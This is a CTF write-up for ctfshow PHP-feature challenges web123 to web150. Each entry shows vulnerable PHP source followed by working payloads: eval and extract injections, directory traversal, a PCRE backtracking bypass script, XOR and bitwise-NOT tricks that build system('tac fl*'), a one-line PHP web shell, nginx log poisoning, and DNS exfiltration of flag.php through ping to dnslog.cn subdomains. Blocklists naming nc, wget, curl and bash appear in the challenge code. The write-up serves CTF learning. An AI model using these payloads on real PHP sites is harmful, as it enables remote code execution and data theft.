Getting started with the web - PHP features
web123
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
Problem solution
PHP variable names are not allowed to use dots, they will become underscores, and the front is [, which will turn [ into _, while the following . will not change.
payload:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag
You can also use the function to print the array for output
get_included_files ()
get_included_files — Returns an array of included and required filenames
Returns an array of all filenames.
implode ()
implode — convert a one-dimensional array value into a string
get_defined_vars()
get_defined_vars — returns an array of all defined variables
payload:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())
web125
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
answer
extract ()
extract — import variables from an array into the current symbol table
The data passed in by post will overwrite the original data.
payload:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
There is another method, refer to Master Yu
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
Because we are running in the web page mode, so $_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
at this time we only need to assign the value through$a[0]= $_SERVER['QUERY_STRING']
.eval("$c".";");
$flag
flag_give_me
$fl0g=flag_give_me; #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0]) #POST
web126
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
Problem solution
Same as above
parse_str ()
parse_str — parse a string into variables
payload:
a=1+fl0g=flag_give_me #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1]) #POST
web127
topic
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
Solution:
Dots or spaces in PHP variable names will be converted to underscores, because dots are filtered
payload:
ctf show=ilove36d
web128
topic
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL
answer
call_user_func ()
call_user_func — call the callback function with the first argument
_ is equivalent to the gettext function
<?php
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
payload:
f1=_&f2=get_defined_vars
web129
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
answer
stripos()
stripos — Find the first occurrence of a string (case insensitive)
Directory traversal
payload:
f=../ctfshow/../../../../../../../../var/www/html/flag.php
web130
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
Solution
is matches case and newline
The stripos() function finds the string matching position starting from 0, not 1, so the second regular
payload is bypassed:
f=ctfshow
web131
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
Problem Solution
In order to prevent regular expression denial of service attacks (reDOS), PHP sets an upper limit of the number of backtracking times for pcre.backtrack_limit, and the upper
limit of backtracking times is 1 million by default. If the number of backtracking exceeds 1 million, preg_match will no longer return non-1 and 0, but false. This way we can bypass the first regex.
import requests
url = "http://7d46897d-72da-45fb-b85d-f6d5dc39bb09.challenge.ctf.show/"
param = 'very'*250000 + "36Dctfshow"
data = {
"f":param
}
res = requests.post(url,data)
print(res.text)
P God Blog: PHP uses PCRE backtracking limit to bypass certain security restrictions
web132
topic
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
Solution
/admin has source code
if(true && true || false){
echo 123;
}
|| One is true and both are true, we only need to ensure username=admin to pass the second if
payload:
sername=admin&password=&code=admin
web133
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
Solution
through dnslog
substr ()
substr — returns a substring of a string
The master idea
grep command to filter
the payload:
F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.wutsuc.dnslog.cn -c 1
web134
topic
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
Detailed solution
$_SERVER
实例:
1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
由实例可知:
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名
Since it is extract $_POST
, use parse_str
it $_POST
to overwrite the payload:
_POST[key1]=36d&_POST[key2]=36d
web135
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
Problem solution
Using the ping principle DNS request
payload:
F=`$F`; ping `nl flag.php|awk '/flag/'| tr -cd "[a-z]"/"[0-9]"`.klj10h.dnslog.cn -c 1
Look at the awk command, use the pipe character to filter, and use the slash to select the value of the line containing the string.
web136
topic
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
Problem solution
Briefly understand
the tee file output stream of the tee command, and write the previous execution results into the new file
payload:
c=ls / |tee 1
c=cat /f149_15_h3r3 |tee 2
There is also a method
xargs sed to replace the file content
payload in batches:
c=ls |xargs sed -i 's/die/echo/'
c=ls |xargs sed -i 's/exec/system/'
c=cat /f149_15_h3r3
web137
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
Solution
call_user_func — call the first parameter as a callback function
In php -> and:: the difference between calling members of a class
-> for a dynamic context to process a certain instance of a class
:: you can call a static class method that does not depend on other initializations.
Call the function payload in the class
:
ctfshow=ctfshow::getFlag
web138
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
Solution
: Disabled, call_user_func can pass an array
call_user_func(array($classname, 'say_hello'));
At this time, the say_hello method in classname will be called
payload:
ctfshow[]=ctfshow&ctfshow[]=getFlag
web139
topic
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
Problem solution
Let's put it aside for a while...
web140
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
Solution
We just let intval($code)
it be equal to 0
f1=md5&f2=md5
f1=system&f2=system
web141
topic
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
The meaning of the solution
/^\W+$/
: Matching ^a-zA-Z0-9_]
(any number of non-word characters, non-numeric letters and underscore characters) can be executed
locally , so that return can be bypassed Master Yu's non-alphanumeric bypass regular expression summary (including uploading temporary files , exclusive or, or, negation, self-incrementing script) can obtain the corresponding letter through exclusive or, and construct the initial letter as 1, then you can pass the criterioneval("return 1+phpinfo()+1;");
例:
小写字母p编码为 0111 0000 0x70
可以利用异或准则 相同为0,不同为1来得到 %70
/p
1010 1111 %af
1101 1111 %df
0111 0000 %70
/h
1010 1111 %af
1100 0111 %c7
0110 1000 %68
/i
1010 1111 %af
1100 0110 %c6
0110 1001 %69
/n
1010 1111 %af
1100 0001 %c1
0110 1110 %6e
/f
1010 1111 %af
1100 1001 %c9
0110 0110 %66
/o
1010 1111 %af
1100 0000 %c0
0110 1111 %6f
/(
1010 1111 %af
1000 0111 %87
0010 1000 %28
/)
1010 1111 %af
1000 0110 %86
0010 1001 %29
%AF%AF%AF%AF%AF%AF%AF%AF^%DF%C7%DF%C6%C1%C9%C0 can replace phpinfo so we can construct system('tac fl*') through XOR, here we
use It is Master Yu's script that runs and
gets ("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%00"^"%7c%60%60%20%60%60%2a");
the payload:
v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%00"^"%7c%60%60%20%60%60%2a")-
web142
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
Solution
payload:
v1=0
web143
topic
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
Solution
- is filtered, replace - with *, and then run
the payload with Master Yu script:
v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%00"^"%7f%60%60%20%60%60%2a")*
web144
topic
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
The length of the problem solution
v3 is required to be 1, and the payload of the above problem can still be used
:
?v1=1&v3=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%00"^"%7f%60%60%20%60%60%2a")
web145
topic
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
Solution
XOR is banned, we can use the negation
payload:
v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5)|
v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5):
eval("return 1?phpinfo():1;");
is executable, and the inspection point is the ternary operator
web146
topic
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
Solution
Negative
payload:
v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5)|
web147
topic
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
Problem solution
analysis create_function()
This problem is to match symbols that do not contain letters or numbers at the beginning.
We can use create_function() to create anonymous functions for code injection.
Pass inecho }system('tac fl*');/*
function f($a) {
echo }system('tac fl*');/*
}
payload:
show=}system("cat flag.php");/*
ctf=\create_function #POST
}
is a closed regular if condition
/*
is commented out}
web148
topic
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
Solution
XOR
payload:
code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%02"^"%7d%60%60%21%60%60%28");
web149
topic
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
Solution
The rest of the files except index.php will be deleted, we can directly write the horse payload in index.php
:
ctf=index.php
show=<?php eval($_POST[1]);?>
Ant sword connection.
web150
topic
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
Solution
Write a sentence into the log.
The log contains a sentence /var/log/nginx/access.log
payload:
isVIP=1
ctf=/var/log/nginx/access.log&1=system('tac fl*.php');